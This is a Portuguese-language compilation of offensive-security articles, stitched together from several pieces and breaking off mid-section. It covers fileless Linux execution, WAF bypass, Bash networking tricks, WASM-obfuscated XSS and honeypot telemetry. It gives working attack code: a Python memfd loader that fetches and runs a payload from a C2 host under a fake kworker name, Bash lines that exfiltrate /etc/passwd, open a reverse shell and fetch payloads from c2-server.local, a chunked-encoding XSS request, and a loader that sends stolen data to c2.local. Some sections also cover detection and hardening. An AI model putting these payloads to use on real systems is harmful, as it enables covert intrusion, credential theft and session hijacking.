[ 0x00 ] EVASÃO DE DISCO E EXECUÇÃO FILELESS

Em táticas avançadas de pós-exploração, transferir payloads executáveis para diretórios comuns de escrita (como /tmp, /var/tmp ou /dev/shm) é considerado um indicador de comprometimento (IoC) primário. O monitoramento de integridade de arquivos, diretivas de montagem noexec e daemons que utilizam ganchos inotify capturam facilmente a criação de novos arquivos binários ELF.

A regra fundamental de evasão moderna é: Se tocar no disco físico, a assinatura estática ou heurística o interceptará.

Para mitigar essa superfície de detecção, emprega-se a execução fileless (sem arquivo físico), instanciando o binário executável diretamente na memória RAM. No ecossistema Linux, a chamada de sistema memfd_create é uma das principais interfaces utilizadas para viabilizar este propósito.

[ 0x01 ] MECANISMO DA SYSCALL MEMFD_CREATE

Introduzida no kernel Linux 3.17, a chamada de sistema memfd_create aloca um arquivo anônimo residente exclusivamente em memória volátil (utilizando a infraestrutura de memória compartilhada shmem do kernel). Esta chamada retorna um descritor de arquivo (file descriptor - FD) que pode ser manipulado exatamente como um arquivo convencional (via write, mmap, etc.).

No entanto, este FD não é mapeado em nenhuma árvore de diretórios do VFS (Virtual File System). O arquivo não possui uma entrada persistente no sistema de arquivos sob caminhos comuns de busca do sistema operacional.

A partir do Python 3.8, o interpretador expõe o wrapper nativo os.memfd_create na biblioteca padrão. Para versões legadas ou fins de demonstração de baixo nível, podemos invocar a API dinamicamente utilizando a biblioteca ctypes para se comunicar com a libc.

[ 0x02 ] IMPLEMENTAÇÃO DO LOADER PORTÁVEL EM PYTHON

O script abaixo demonstra a implementação de um carregador de memória que realiza o mapeamento por arquitetura do número da syscall de acordo com a plataforma detectada (x86_64, ARM64, i386), provendo portabilidade multiarquitetura restrita ao ecossistema Linux, tratando corretamente a sintaxe interna do Python.

import ctypes
import os
import platform
import urllib.request

# 1. Criação do file descriptor anônimo na memória RAM
def get_anonymous_fd(name: str) -> int:
    # Utiliza o wrapper nativo do Python 3.8+ se disponível
    if hasattr(os, "memfd_create"):
        try:
            return os.memfd_create(name, flags=os.MFD_CLOEXEC)
        except OSError:
            pass

    # Fallback via chamada direta à syscall da libc (ctypes)
    try:
        from ctypes.util import find_library
        libc_path = find_library('c')
        if not libc_path:
            return -1
        libc = ctypes.CDLL(libc_path)
    except Exception:
        return -1

    # Mapeamento estático do número da syscall por arquitetura do processador
    arch = platform.machine()
    if arch == "x86_64":
        sys_memfd_create = 319
    elif arch in ("aarch64", "arm64"):
        sys_memfd_create = 279
    elif arch in ("i386", "i686"):
        sys_memfd_create = 356
    elif arch.startswith("arm"):
        sys_memfd_create = 385
    else:
        return -1

    MFD_CLOEXEC = 0x0001
    # Executa syscall(sys_memfd_create, name, flags)
    return libc.syscall(sys_memfd_create, name.encode('utf-8'), MFD_CLOEXEC)

# Nome de exibição superficial no processo (masquerading)
fake_name = "kworker/u4:2"

fd = get_anonymous_fd(fake_name)
if fd == -1:
    print("[-] Falha ao instanciar memfd anônimo.")
    exit(1)

# 2. Exfiltração/Download do payload ELF diretamente para a RAM
try:
    # Substituir pelo endereço do host C2
    req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
    payload_bytes = req.read()
except Exception as e:
    print(f"[-] Erro de conexão com C2: {e}")
    exit(1)

# 3. Gravação do stream de bytes no descritor de arquivo na memória
os.write(fd, payload_bytes)
os.lseek(fd, 0, os.SEEK_SET)

# 4. Substituição do processo atual (execve) via descritor sob procfs
fd_path = f"/proc/self/fd/{fd}"
os.execv(fd_path, [fake_name])

[ 0x03 ] MITOS E LIMITAÇÕES DO MASQUERADING DE ARGUMENTOS

A técnica de passar fake_name ("kworker/u4:2") como o primeiro elemento da lista argv em os.execv altera a cadeia de caracteres exibida por listagens superficiais (como ps e top), que leem a memória do bloco /proc/<pid>/cmdline. No entanto, este masquerading não é absoluto e apresenta severas inconsistências forenses:

1. Hierarquia de Processos (PPID): Um thread de kernel autêntico (kworker) tem como processo pai o kthreadd (PID 2). O binário fileless spawnado via Python manterá o PPID correspondente ao shell ou aplicação vulnerável de onde o loader foi invocado.
2. Mapeamento de Executável: O link simbólico /proc/<pid>/exe para um kworker real não existe ou aponta para um kernel space invisível. No processo mascarado, /proc/<pid>/exe apontará explicitamente para /memfd:kworker/u4:2 (deleted).
3. Bloco de Ambiente: O arquivo /proc/<pid>/environ de threads de kernel legítimos é completamente nulo. O processo fileless conterá as variáveis de ambiente completas herdadas do runtime do Python.
4. Mapa de Memória: Threads de kernel operam puramente em kernel-space e não possuem espaço de memória de usuário. O processo fileless exibirá um mapa /proc/<pid>/maps contendo pilhas e heaps de usuário convencionais.

[ 0x04 ] VETORES DE DETECÇÃO E TELEMETRIA FORENSE

Apesar de ser indetectável para antivírus tradicionais baseados em varreduras de arquivos locais, a execução baseada em memfd_create é capturada em telemetria por soluções modernas de EDR e auditores do kernel Linux (como auditd ou monitores de eBPF):

• Rastreamento de Syscalls (eBPF): Motores baseados em eBPF (como o Tetragon) interceptam a syscall sys_enter_memfd_create em tempo de execução, permitindo auditorias e bloqueios imediatos se processos em user-space realizarem a chamada.
• Ganchos LSM (Linux Security Modules): Módulos de Segurança Linux (LSM) como SELinux e AppArmor não dependem de arquivos físicos no disco e avaliam privilégios e capacidades (como a permissão execmem do SELinux) em diversos ganchos do kernel, incluindo chamadas que alocam e mapeiam arquivos anônimos na memória.
• Detecção de Execve Incomum: Regras de monitoramento de integridade que rastreiam chamadas sys_enter_execve onde o caminho executado aponta para o padrão /proc/*/fd/* ou /proc/self/fd/*.
• Forense de Memória: O utilitário clássico ls -l /proc/*/exe ou ls -l /proc/*/fd/* revela facilmente arquivos cujo destino aponta para links /memfd:... (deleted). Além disso, ferramentas forenses de análise de memória (como o Volatility via plugin malfind) são eficientes para rastrear regiões executáveis (rwx ou r-x) desprovidas de arquivos correspondentes em disco, assim como a listagem direta de mapeamentos sob /proc/<pid>/maps contendo links simbólicos óbvios para arquivos anônimos /memfd:... (deleted).

Diretriz de Hardening: Configure o parâmetro de kernel vm.memfd_noexec (disponível a partir do kernel 6.0+) para bloquear ou auditar a execução de memfds (ajustando para 2 para desabilitar completamente), ou implemente políticas de segurança restritivas via LSM para bloquear chamadas execve cujo caminho de execução aponte para descritores virtuais sob /proc/self/fd/.

[ 0x00 ] A ILUSÃO DO FILTRO PERFEITO

É comum no meio corporativo assumir que a presença de um WAF (Web Application Firewall) de classe empresarial (como Cloudflare Enterprise, Akamai Kona ou Imperva) é suficiente para imunizar aplicações web. Telas de 403 Forbidden dão a falsa sensação de barreiras intransponíveis.

No entanto, WAFs operam essencialmente como parsers de tráfego que comparam assinaturas de rede (expressões regulares) com o payload das requisições HTTP. O calcanhar de Aquiles dessa arquitetura reside na discrepância de interpretação de dados: onde há parsers encadeados e normalização de dados distinta, há brechas para desvios.

[ 0x01 ] DESSINCRONIZAÇÃO DE DECODIFICAÇÃO (DOUBLE URL ENCODING)

A técnica de Double URL Encoding explora falhas onde o WAF e o servidor backend realizam etapas assimétricas de decodificação de caracteres.

Ao enviar um payload simples como U%6eION S%45LECT (codificação URL simples), o WAF realiza a decodificação inicial, interceptando a string UNION SELECT e bloqueando a requisição. Contudo, na codificação dupla, codificamos o caractere especial de percentagem % (cujo código hexadecimal é %25), transformando o caractere n (%6e) em %256e.

• Fase 1 (WAF): O firewall recebe U%256eION S%2545LECT. Ao aplicar uma única passagem de decodificação URL, a string é convertida para U%6eION S%45LECT. Como o filtro do WAF procura pela assinatura exata UNION SELECT, a requisição é classificada como inofensiva e liberada.
• Fase 2 (Backend): O servidor web backend recebe a requisição liberada. Antes de passá-la para as rotinas de banco de dados, o interpretador (como PHP ou ASP) realiza a decodificação secundária dos valores, transformando U%6eION S%45LECT de volta para UNION SELECT. A consulta maliciosa é executada.

[ 0x02 ] POLUIÇÃO DE PARÂMETROS HTTP (HPP)

A Poluição de Parâmetros HTTP ocorre ao injetar múltiplos parâmetros com a mesma chave em uma única query string HTTP (ex: ?id=1&id=UNION+SELECT...). A vulnerabilidade ocorre porque diferentes servidores e frameworks web lidam com chaves duplicadas de maneiras distintas:

Se o WAF for configurado para inspecionar apenas a primeira ocorrência do parâmetro id (visando economia de recursos), ele validará o valor seguro 1 e ignorará a ocorrência subsequente. No entanto, se o backend for estruturado sob PHP/Apache, ele processará o último valor (o payload SQLi), contornando a proteção.

[ 0x03 ] EXTRAÇÃO DE METADADOS DO LOG (ESTUDO DE CASO OPENRESTY)

Durante uma avaliação autorizada em um ativo empresarial protegido, identifiquei um WAF configurado para bloquear requisições com strings suspeitas em parâmetros comuns de requisição. A estratégia adotada consistiu em mover o payload para cabeçalhos HTTP exóticos (X-Forwarded-Host, X-Rewrite-URL, Client-IP).

Muitos gateways e proxies reversos (como Nginx e OpenResty) utilizam esses cabeçalhos para controle de rotas internas e logs. Ao enviar payloads com codificação Unicode específica e delimitadores nulos (%00) nestes cabeçalhos, causei um erro de tratamento no parser do proxy reverso.

Em vez de bloquear a conexão, o gateway mal configurado encaminhou a requisição para uma rota de erro interna que expôs o stack trace de debug do OpenResty. Isso revelou regras de roteamento internas e versões exatas de bibliotecas compartilhadas, permitindo mapear o ambiente interno sem acionar os alertas principais de intrusão do WAF.

[ 0x04 ] EVASÃO VIA TRANSFER-ENCODING: CHUNKED

Muitos filtros de WAF inspecionam apenas o cabeçalho Content-Length e o corpo da requisição POST até um limite de tamanho. Sob a especificação HTTP/1.1, podemos fragmentar a transmissão de dados utilizando o cabeçalho Transfer-Encoding: chunked.

Nesta modalidade, o corpo da requisição é enviado em blocos isolados. Cada bloco inicia com seu tamanho em formato hexadecimal, seguido de CRLF (\r\n), os dados e outro CRLF. A transmissão é finalizada obrigatoriamente com o chunk terminal de tamanho zero (0\r\n\r\n).

POST /api/upload HTTP/1.1
Host: target.local
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Connection: close

1\r\n
<\r\n
1\r\n
s\r\n
1\r\n
c\r\n
1\r\n
r\r\n
1\r\n
i\r\n
1\r\n
p\r\n
1\r\n
t\r\n
0\r\n
\r\n

WAFs antigos que não remontam streams HTTP chunked analisam apenas os blocos de bytes isolados de 1 byte (que não possuem assinaturas maliciosas), liberando a requisição para o backend. O backend, por sua vez, realiza a remontagem em memória e executa o XSS completo.

[ 0x05 ] NORMALIZAÇÃO UNICODE E COMPATIBILIDADE DE TIPOS

O consórcio Unicode define regras de equivalência de caracteres para unificar variações gráficas. Existem formas de normalização canônica (NFC/NFD) e formas de normalização por compatibilidade (NFKC/NFKD). A normalização por compatibilidade (NFK) é amplamente empregada por bancos de dados e motores de busca para colapsar variantes gráficas de letras em seus equivalentes ASCII.

Por exemplo, o caractere do símbolo Kelvin K (U+212A) é canonicamente distincto da letra ASCII K (U+004B). No entanto, sob a normalização NFKC, U+212A é colapsado para U+004B.

Se um operador enviar um payload contendo SELECKT (usando o símbolo Kelvin): 1. Fase de Inspeção: O WAF realiza a análise estática em formato bruto ou utilizando normalização canônica (NFC). Ele determina que SELECKT não corresponde à palavra-chave restrita SELECT e libera o tráfego. 2. Fase de Execução: A normalização NFKC não ocorre de forma mágica no parser SQL bruto do banco de dados, mas sim nas rotinas de pré-processamento da aplicação, ORMs, adaptadores de conexão (que unificam charsets) ou na normalização interna de strings efetuada por mecanismos de indexação da aplicação antes da geração final da consulta.

Golden Tip: Testar filtros não se resume a automatizar cargas de ataque. Requer mapear e compreender o fluxo de dados em toda a cadeia tecnológica (Load Balancer -> WAF -> Proxy Reverso -> Backend Application -> Database) para identificar inconsistências de decodificação.

[ 0x00 ] A PEGADA DOS DAEMONS MODERNOS

Tornou-se padrão na arquitetura web moderna subir stacks complexas como containers de Node.js, instâncias Apache ou servidores Nginx completos apenas para expor um endpoint simples de monitoramento, servir um JSON estático de status ou responder a webhooks simples de C2. Cada processo ativo consome megabytes de RAM na tabela de processos do kernel, expõe dependências e deixa uma pegada forense perceptível.

Para cenários minimalistas ou de alta restrição, é possível erguer um serviço HTTP funcional e isolado aproveitando recursos nativos do sistema operacional Linux: o gerenciador SystemD e o interpretador Bash.

[ 0x01 ] SYSTEMD SOCKET ACTIVATION

O mecanismo baseia-se na funcionalidade de Socket Activation do SystemD. Em vez de manter um interpretador ou binário em loop infinito consumindo CPU e memória aguardando conexões (como em um loop listen), delegamos a escuta da porta de rede diretamente ao daemon de init do kernel (SystemD).

Quando um pacote TCP atinge a porta monitorada, o SystemD intercepta o evento, instancia (fork) o script Bash correspondente em tempo de execução e repassa o descritor de conexão diretamente via entrada e saída padrão (stdin/stdout). Ao encerrar a conexão, o processo do shell é finalizado, retornando a zero o consumo de memória do serviço.

Crie o arquivo de escuta do socket em /etc/systemd/system/ghost-http.socket:

[Unit]
Description=Ghost HTTP Socket Activation Service

[Socket]
ListenStream=8080
Accept=yes

[Install]
WantedBy=sockets.target

A diretiva Accept=yes instrui o SystemD a spawnar uma instância isolada do serviço para cada conexão concorrente estabelecida na porta 8080.

[ 0x02 ] A UNIDADE DE SERVIÇO TEMPLATE

Crie o arquivo de definição do serviço /etc/systemd/system/ghost-http@.service. O caractere @ no nome identifica que este é um serviço template, permitindo que o SystemD spawne instâncias dinâmicas (ex: ghost-http@1-127.0.0.1:8080.service) para cada socket aceito.

[Unit]
Description=Ghost HTTP Ephemeral Instance
Requires=ghost-http.socket

[Service]
StandardInput=socket
StandardOutput=socket
ExecStart=/usr/local/bin/ghost-server.sh

[ 0x03 ] O BACKEND EM SHELL SCRIPT

Abaixo está o script que manipula o tráfego HTTP. Note a presença obrigatória de aspas duplas nas variáveis para evitar problemas de segurança associados à expansão de caminhos (globbing) e word-splitting, além do uso de read -r para tratamento correto de barras invertidas.

/usr/local/bin/ghost-server.sh:

#!/bin/bash

# 1. Lê a primeira linha da requisição HTTP (Request-Line) de forma segura (sai em caso de EOF precoce)
read -r request || exit 1

# Remove quebras de linha CRLF (
)
request=$(echo "$request" | tr -d '
')

# 2. Loop para exaurir os cabeçalhos restantes da requisição (impede quebras de pipe)
while read -r line; do
    line=$(echo "$line" | tr -d '
')
    [ -z "$line" ] && break
done

# 3. Processamento de rota básica via awk
route=$(echo "$request" | awk '{print $2}')

# 4. Geração de resposta HTTP válida e cabeçalhos obrigatórios
if [ "$route" == "/api/status" ]; then
    # Responde com JSON dinâmico baseado em métricas de processamento reais
    load_avg=$(cat /proc/loadavg | awk '{print $1}')
    echo -e "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nConnection: close\r\n\r\n"
    echo -e "{\"status\": \"active\", \"load_1m\": $load_avg}"
else
    # Responde com HTML estático convencional
    echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n"
    echo -e "<html><body><h1>Ghost Server</h1><p>Operando via Socket Activation.</p></body></html>"
fi

Habilite o socket no sistema operacional:

chmod +x /usr/local/bin/ghost-server.sh
systemctl daemon-reload
systemctl enable --now ghost-http.socket

[ 0x04 ] VULNERABILIDADE A DOS (FORK BOMBING) E HARDENING DE UNIDADES

Embora seja uma solução extremamente elegante e silenciosa, a configuração descrita anteriormente expõe o servidor a ataques de Negação de Serviço (DoS) simples por exaustão de PIDs. Como cada conexão concorrente inicia um processo Bash em user-space, um ataque volumoso estourará o limite máximo de PIDs do kernel (/proc/sys/kernel/pid_max), travando todo o sistema operacional.

Para mitigar este vetor de ataque e assegurar a robustez do ambiente, é obrigatório enriquecer as configurações de limites de recursos diretamente nas diretivas do SystemD:

No arquivo /etc/systemd/system/ghost-http.socket (Limitação ao nível do driver de rede do SystemD):

[Socket]
ListenStream=8080
Accept=yes
# Limite máximo de conexões concorrentes ativas
MaxConnections=100
# Limite de conexões simultâneas originadas de um único endereço IP
MaxConnectionsPerSource=5

No arquivo /etc/systemd/system/ghost-http@.service (Limitação ao nível do cgroup do processo):

[Service]
StandardInput=socket
StandardOutput=socket
ExecStart=/usr/local/bin/ghost-server.sh
# Limita o número máximo de processos que a unidade pode instanciar (cgroup fork limit)
LimitNPROC=10
# Evita esgotamento estrito de tasks
TasksMax=5

[ 0x00 ] A RESTRIÇÃO DO AMBIENTE DE EXECUÇÃO (LFI/RCE)

Considere o cenário típico de pós-exploração: a obtenção bem-sucedida de Execução Remota de Código (RCE) em uma aplicação web rodando sob um container Docker. Ao tentar baixar payloads de segundo estágio ou ferramentas adicionais de pós-exploração, o operador se depara com a ausência de utilitários de transferência comuns:

$ wget http://c2-server.local/payload.sh
bash: wget: command not found
$ curl http://c2-server.local/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

Esse endurecimento (hardening) básico do container visa reduzir a superfície de ataque ao expurgar binários de rede clássicos. No entanto, se o interpretador Bash estiver instalado e ativo, é possível explorar recursos nativos do próprio shell para criar conexões de rede e transferir dados arbitrários.

[ 0x01 ] O PSEUDO-DISPOSITIVO /dev/tcp DO BASH

O pseudo-caminho /dev/tcp/ não corresponde a um arquivo especial de caractere ou bloco no VFS do Linux (ao contrário de /dev/null ou /dev/urandom). Trata-se de uma funcionalidade interna compilada diretamente no código-fonte do Bash (ativada por padrão na maioria das distribuições Linux via flag de compilação --enable-net-redirections).

Ao redirecionar entrada ou saída para o caminho padrão /dev/tcp/<HOST>/<PORT>, o Bash intercepta a chamada de abertura de arquivo e, internamente, realiza a resolução DNS e instancia um socket de rede TCP nativo por meio das chamadas de sistema socket e connect do Linux.

Nota Crítica de Compatibilidade: Esta funcionalidade é estritamente vinculada ao interpretador Bash (e KornShell). Ele não funciona no interpretador ash do BusyBox (que equipa por padrão imagens minimalistas como o Alpine Linux) nem no dash (shell padrão em instalações Debian e Ubuntu). Nestes ambientes, tentar utilizar /dev/tcp resultará em um erro de arquivo inexistente.

Abaixo, demonstra-se a construção de um port scanner minimalista em puro Bash utilizando o pseudo-dispositivo sob a verificação de timeout do sistema:

# Testa se a porta 80 está aberta no host 10.0.0.5 com timeout de 1 segundo
if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "[+] Porta 80/TCP aberta."
else
    echo "[-] Porta 80/TCP fechada ou filtrada."
fi

[ 0x02 ] CONSTRUÇÃO DE REQUISIÇÕES HTTP NA MÃO

Sem o utilitário curl, o operador pode usar descritores de arquivo customizados do Bash (exec <número>[<>]) para abrir conexões bidirecionais (leitura/escrita) e forjar cabeçalhos HTTP brutos que sigam as especificações RFC 7230:

# 1. Aloca o descritor de arquivo 3 para conexão bidirecional com o host C2
exec 3<>/dev/tcp/c2-server.local/80

# 2. Envia a requisição HTTP/1.1 em conformidade com o protocolo (requer terminação CRLF - 
)
echo -e "GET /payload.sh HTTP/1.1\r\nHost: c2-server.local\r\nConnection: close\r\n\r\n" >&3

# 3. Lê a resposta do stream de rede e a redireciona para um arquivo local
cat <&3 > payload.sh

Essa técnica evita a invocação de novos processos, pois todas as etapas de roteamento de pacotes ocorrem dentro do próprio processo do interpretador Bash ativo, uma vez que a leitura direta via cat consumiria também os cabeçalhos HTTP da resposta, corrompendo scripts executáveis caso não fossem previamente descartados no loop de leitura do socket.

[ 0x03 ] EXFILTRAÇÃO STEALTH E PING SWEEPS SEM ICMP

Para exfiltração rápida de dados, pode-se ler o conteúdo de arquivos e redirecionar a saída direto para o descritor de rede:

# No servidor C2 (escutando via netcat clássico)
nc -lvnp 4444

# Na máquina comprometida (exfiltração direta)
cat /etc/passwd > /dev/tcp/c2-server.local/4444

Se o protocolo ICMP estiver bloqueado na rede interna pelo firewall impedindo o mapeamento de hosts via comandos como ping, pode-se realizar varreduras paralelas assíncronas utilizando a lógica do Bash em background (&):

# Varredura assíncrona na sub-rede /24 procurando pela porta 445 (SMB)
for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "[+] Host 10.0.0.$ip ativo (SMB)" &
done
wait

[ 0x04 ] O RETORNO: REVERSE SHELLS INTERATIVOS

O uso mais comum da funcionalidade reside no spawning de reverse shells interativos sem a dependência de linguagens de script adicionais (como Python ou Perl):

bash -i >& /dev/tcp/c2-server.local/9001 0>&1

O comando acima inicializa uma instância interativa do Bash (-i), redireciona a saída padrão (stdout via >) e a saída de erro padrão (stderr via &) para o socket de rede conectado ao C2. Por fim, a entrada padrão (stdin via 0>&1) é duplicada da saída de rede, permitindo o recebimento de comandos.

[ 0x05 ] PERSPECTIVA DE TELEMETRIA E VETORES DE DETECÇÃO (BLUE TEAM)

A alegação comum de que essa técnica é totalmente invisível baseia-se na ausência de novos artefatos em disco ou logs de novos processos executados. No entanto, ela é altamente visível sob outras perspectivas de segurança:

1. Monitoramento de Conexões de Shell (EDR/SIEM): Interpretadores de comando (como bash, sh, zsh) realizando chamadas de sistema connect diretamente para a rede externa é um comportamento altamente suspeito. Regras heurísticas de EDR alertam imediatamente sobre conexões de rede originadas de interpretadores de sistema.
2. Volume de Syscalls: A execução de loops de scan gera dezenas de syscalls connect sequenciais a partir do PID do Bash em curto intervalo de tempo, comportamento que dispara alertas comportamentais imediatos.
3. Logs de Transição de Estado: Ferramentas que monitoram tabelas de sockets ativos (como netstat, ss ou logs de conexões locais) revelarão conexões TCP estabelecidas associadas ao PID do interpretador Bash.

[ 0x00 ] A EVOLUÇÃO DAS ASSINATURAS DE FILTRO (WAF)

O modelo tradicional de detecção de Cross-Site Scripting (XSS) em Firewalls de Aplicação Web (WAF) baseia-se na análise estática de strings. Filtros inspecionam o corpo das requisições procurando por tags HTML conhecidas e palavras-chave específicas da linguagem JavaScript, tais como eval, document.cookie, fetch ou XMLHttpRequest.

Bypasses tradicionais tentam ofuscar o código utilizando codificações em Base64 ou manipulação de strings na camada de aplicação. Contudo, esses payloads em texto simples são facilmente analisados por heurísticas e decodificadores estáticos. Este artigo descreve o desenvolvimento de um motor de ofuscação polimórfico utilizando WebAssembly (WASM) e TinyGo para empacotar lógica ofensiva em um formato binário de difícil inspeção estática.

[ 0x01 ] POR QUE WEBASSEMBLY? (A CAIXA PRETA BINÁRIA)

WebAssembly é um formato de instrução binária projetado como um alvo de compilação portátil para linguagens de alto nível (como C/C++, Rust, Go). Ao migrar a lógica de decodificação e montagem do payload XSS de uma string JavaScript convencional para um bytecode binário compitado (WASM), removemos a visibilidade estática do código-fonte:

• Evasão Estática: Um analista de segurança ou filtro de WAF inspecionando a requisição verá apenas um blob de bytes não legíveis e chamadas para funções de inicialização do WASM. A lógica interna do script está embutida nas instruções estruturadas do arquivo binário.
• Limitação Crítica de DOM Access: É essencial observar que o WebAssembly opera dentro de uma sandbox estrita e não possui acesso nativo ao DOM ou a APIs de rede globais do navegador (como window.fetch). Para ler cookies ou efetuar exfiltrações, o módulo WASM deve chamar funções JavaScript importadas passadas durante o WebAssembly.instantiate. Portanto, a atividade maliciosa ainda pode ser detectada dinamicamente monitorando a fronteira de chamadas (bindings) entre o JavaScript e o módulo WASM.

[ 0x02 ] DESIGN DO MOTOR COM TINYGO

A compilação utilizando o compilador Go padrão gera binários WebAssembly volumosos (frequentemente maiores que 2 MB), contendo o runtime completo da linguagem e rotinas de garbage collection. Para payloads XSS, esse tamanho é proibitivo.

Utilizando o TinyGo, o binário final é reduzido para poucos kilobytes devido à otimização agressiva de eliminação de código morto (dead code elimination) e um runtime de garbage collection minimalista.

A lógica de criptografia embutida no binário utiliza rotação de bits, operações XOR dinâmicas com base no índice dos bytes e um sal criptográfico estático (0x1337).

• Polimorfismo: Cada payload gerado pelo motor apresenta assinatura física distinta. Caracteres idênticos no código-fonte original correspondem a valores numéricos distintos na representação binária cifrada, inviabilizando análises baseadas em assinaturas estáticas ou análise de entropia de strings simples.

[ 0x03 ] ARQUITETURA DO SISTEMA DE CONTROLE

O ecossistema reesXSS é estruturado em componentes distintos para gerenciar e monitorar as interações:

1. Gerador de Payload: Compila dinamicamente a lógica ofensiva e cifra os bytes finais.
2. Painel Administrativo (Backend Flask): Interface de Command and Control (C2) para monitorar sessões capturadas em tempo real.
3. Banco de Dados Relacional (PostgreSQL): Gerenciamento persistente de sessões e cookies exfiltrados para suportar múltiplos alvos em concorrência.

[ 0x04 ] CSP E O FALLBACK "THE VOID"

Políticas de Segurança de Conteúdo (CSP) restritivas bloqueiam a execução de WebAssembly se a diretiva script-src não contiver as palavras-chave 'unsafe-eval' (CSP nível 2) ou 'wasm-unsafe-eval' (introduzida no CSP nível 3). Sob tais restrições, o navegador impedirá a compilação do binário WASM na origem.

Para contornar este cenário de bloqueio completo, o motor implementa o fallback The Void. Este modo desvia da estratégia binária, utilizando a injeção de Predicados Opacos e Junk Code diretamente em código JavaScript clássico para confundir parsers estáticos de segurança.

• Predicado Opaco: Condições lógicas cujo resultado é conhecido e invariável em tempo de compilação, mas difícil de ser determinado por análises estáticas (ex: invariants matemáticos como (n * (n + 1)) % 2 == 0, válidos para qualquer inteiro n). O código malicioso é envolto em condicionais que dependem desses predicados para execução, simulando estruturas de controle complexas de sistemas legítimos.

[ 0x05 ] CASO DE ESTUDO: BYPASS EM FILTROS DE CARACTERES

Durante testes sob ambientes com limites restritos de comprimento de string de entrada (como o laboratório PHP vulnerável testphp.vulnweb.com), o tamanho do loader WASM embutido em Base64 excedia o buffer máximo de entrada permitido.

A solução adotada foi o modo WASM Ghost (External). O payload injetado consiste em um script loader de 150 caracteres que realiza um fetch assíncrono para obter o binário compilado /engine.wasm hospedado em servidor C2 sob controle do operador.

fetch('/engine.wasm')
  .then(r => r.arrayBuffer())
  .then(b => WebAssembly.instantiate(b, {env: {exfil: c => new Image().src='http://c2.local/log?d='+c}}));

Após o download, os bytes são compilados dinamicamente no navegador do alvo, executando a lógica de roubo de sessão sem estourar o limite de tamanho. Cabe ressaltar que para o carregamento de binários TinyGo/Go convencionais na sandbox, o ecossistema exige que a runtime JS do Go (wasm_exec.js) esteja presente para injetar o go.importObject (bindings do sistema). Em cenários de restrição estrita, o binário deve ser compilado como uma biblioteca WASM autônoma (WASI) expondo exportações isoladas sem depender do loop de inicialização principal do Go.

[ 0x06 ] CONSIDERAÇÕES DE DEFESA (BLUE TEAM)

Para mitigar ameaças baseadas em ofuscação binária no navegador: 1. CSP Rígida: Não inclua 'unsafe-eval' ou 'wasm-unsafe-eval' na diretiva script-src se o uso de WebAssembly não for estritamente obrigatório. 2. Monitoramento Dinâmico: Implemente auditorias de execução de JavaScript monitorando hooks globais e a inicialização de instâncias WebAssembly.instantiateStreaming.

[ 0x00 ] TELEMETRIA GLOBAL E O RUÍDO DA INTERNET

O tráfego capturado em dashboards de inteligência contra ameaças não representa ataques direcionados ou ações coordenadas por agentes estatais persistentes. Trata-se do ruído de fundo da internet, um fluxo constante de varreduras automatizadas operadas por botnets e scanners comerciais. A exposição de qualquer endereço IPv4 público à internet resulta em tentativas de conexão e reconhecimento em menos de 60 segundos.

Este artigo apresenta uma análise de telemetria de sensores honeypot distribuídos globalmente, identificando a origem física das conexões, a infraestrutura abusada e os vetores de infecção explorados.

[ 0x01 ] O ABUSO DE INFRAESTRUTURA DE NUVEM (CLOUD-HOPPING)

A alta densidade de tráfego de varredura originada na Costa Leste dos EUA (regiões us-east-1 da AWS) deve-se ao fenômeno conhecido como Cloud-Hopping. Atacantes comprometem ou alocam instâncias efêmeras em provedores de nuvem utilizando contas criadas com cartões de crédito clonados ou abusando de credenciais vazadas.

Uma instância em nuvem provê recursos computacionais robustos e conexões de alta velocidade (frequentemente excedendo 1 Gbps), tornando o escaneamento do espaço de endereçamento IPv4 completo significativamente mais eficiente a partir de backbones de datacenters do que de redes residenciais ou conexões móveis convencionais.

[ 0x02 ] CONCENTRAÇÃO DE TRÁFEGO NA EUROPA (EIXO FLAP-D)

As regiões metropolitanas de Londres, Amsterdã, Frankfurt, Paris e Dublin (eixo FLAP-D) registram altos índices de conexões maliciosas devido à sua relevância geográfica. Nessas áreas estão concentrados os maiores Internet Exchange Points (IXPs) do mundo e infraestruturas de hosting de baixo custo (como Hetzner e OVH).

Botnets operam nesses provedores aproveitando a latência mínima e o atraso no processo de resposta a abusos (abuse reports). Isso permite que um único nó envie milhões de pacotes de força bruta antes que o endereço IP associado seja bloqueado ou a instância seja suspensa.

[ 0x03 ] BOTNETS IOT: ANÁLISE DE COMPORTAMENTO

Enquanto as instâncias em nuvem focam em escaneamento de portas e força bruta em larga escala, o tráfego originado em redes residenciais no Sudeste Asiático e na América do Sul provém de dispositivos embarcados e Internet das Coisas (IoT) comprometidos.

Dispositivos domésticos vulneráveis — como roteadores sem atualizações de firmware, câmeras IP expostas e gravadores de vídeo digital (DVRs) — são infectados por malwares adaptados para arquiteturas MIPS, ARM e MIPSEL. Famílias clássicas como o Mirai e variantes modernas realizam varreduras na porta TCP 23 (Telnet) e 22 (SSH) tentando credenciais padrão de fábrica (admin/admin, root/123456).

• Comportamento de Persistência: Ao obter acesso ao terminal do dispositivo infectado, o malware finaliza processos concorrentes (eliminando outros agentes maliciosos na memória), fecha a porta de entrada para impedir reinfecções por terceiros e estabelece comunicação criptografada com o servidor de Comando e Controle (C2).
• Nota de Diferenciação: O worm P2PInfect, frequentemente associado a varreduras de rede, não ataca dispositivos IoT domésticos, mas sim instâncias do banco de dados em memória Redis expostas na internet, utilizando recursos de replicação para replicação lateral.

[ 0x04 ] ANÁLISE DE CASO: CLUSTER DE SÃO PAULO

A região metropolitana de São Paulo registra taxas elevadas de tráfego de sensores honeypot devido à densidade populacional e à proliferação de conexões residenciais com políticas de segurança deficientes.

Em sensores Cowrie (honeypot SSH/Telnet de média interação) e Dionaea (honeypot de captura de payloads de malware e protocolos SMB/SIP), o tempo médio para o primeiro hit de conexão em um IP recém-alocado é de 45 segundos. O tráfego concentra-se nas portas clássicas: 22 (SSH), 23 (Telnet), 3389 (RDP) e 5060 (SIP). O objetivo primário é o recrutamento do dispositivo para redes de ataque distribuído de negação de serviço (DDoS) ou mineração não autorizada de criptoativos (como Monero).

[ 0x05 ] EXTRAÇÃO DE TELEMETRIA DE ATAQUE

